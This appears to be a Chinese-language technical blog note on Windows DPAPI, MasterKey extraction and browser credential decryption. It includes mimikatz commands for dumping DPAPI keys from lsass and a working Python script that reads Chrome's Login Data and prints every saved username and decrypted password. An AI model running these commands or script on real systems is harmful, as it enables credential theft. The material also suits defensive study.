DPAPI是Windows系统级对数据进行加解密的一种接口,作为Windows系统的一个数据保护接口被广泛使用,主要用于保护加密的数据,它是CryptoAPI基础的封装。其分别提供加密函数CryptProtectData 与解密函数CryptUnprotectData用于信息的加解密,加解密为对称加密,想要解密这些数据,必须要获得DPAPI对应的MasterKey。
DPAPI其作用范围主要包括:
IE、chrome表单自动登录(点击保存密码)
远程桌面身份勾选保存的凭据
调用了CryptProtectData函数加密数据的第三方应用,如SKYPE等
Credential Manager凭据管理器中的数据
共享资源文件夹的访问密码
outlook本地保存的密码
等
MasterKey 并不会存在在磁盘上,而是通过用户的密码HASH加密生成
两种Master Key 的生成方式
1、利用用户的NTLM hash来加密,NTLM hash存在SAM当中,因此只要获取到hash就能生成key来解密数据。
2、利用用户密码生成,SHA‑1(UTF16LE(user_password)),那么用户获取hash后,还需要还原成密码,才能解密。
获取MasterKey的方式
1、注入lsass进程,从内存读取masterkey,也可以dump内存再读取(mimikatz)
2、注册表(HKLM\SYSTEM、HKLM\SECURITY)
3、解密MasterKeyFile,这是个二进制文件,可使用用户登录密码对其解密,获得Master Key
存在于固定位置%APPDATA%\Microsoft\Protect\%SID%,如
C:\Users\ice\AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001
可以看到存在两个master Key File,由于该文件为隐藏属性,且打开隐藏的项目也无法直接查看,只能使用mimikatz对其进行解析
可以使用mimikatz对该目录下的文件进行解析
privilege::debug
sekurlsa::dpapi 成功解析出SID,GUID命名的masterkey file,以及masterKey
关于解密chrome浏览器
我们就可以使用CryptUnprotectData函数对数据进行解密,网上的chrome解密工具基本原理也是一样的,都是依托于masterKey的获取再使用CryptUnprotectData函数调用固定路径下的chrome来解密
获取Chrome保存的登录信息:
Login Data
"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
关于chrome的版本问题,chrome在80后对本地保存的密码进行了加密方式的改变,
V-80依托于masterKey解密(没有以v10或 v11为前缀的加密值,DPAPI加密)
解密脚本
#在线获取当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)
# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
try:
ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
except Exception as e:
print('url:%-50s get Chrome password Filed...' % row[0])
pass
conn.close()
os.remove(tmp_file)
同样也可以直接使用Mimikatz进行解密
mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" unprotect
V-80后增加了AESGCM模式进行了二次加密(以v10或v11为前缀的加密值)
Firefox
像firefox浏览器就不是使用mastkey 来进行加解密
Version大于等于32.0,保存记录的文件为logins.json
Version大于等于3.5,
小于32.0,保存记录的文件为signons.sqlite
获取firefox保存的登录信息:
xxxx.default
C:\Users\ice\AppData\Roaming\Mozilla\Firefox\Profiles\klhoasmc.default
https://www.secpulse.com/archives/124777.html
https://mp.weixin.qq.com/s/AiE68hOvyIHY-scI_MkFiA
https://rcoil.me/2019/07/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91DPAPI%20%E8%AF%A6%E8%A7%A3/
https://mp.weixin.qq.com/s/YxBdDkha8Dt-NdKGyXbrog
https://mp.weixin.qq.com/s/iXQmFY3RzNykAKDM0igERg
https://cloud.tencent.com/developer/article/1824048
https://github.com/muxq/DPAPI/blob/master/README.md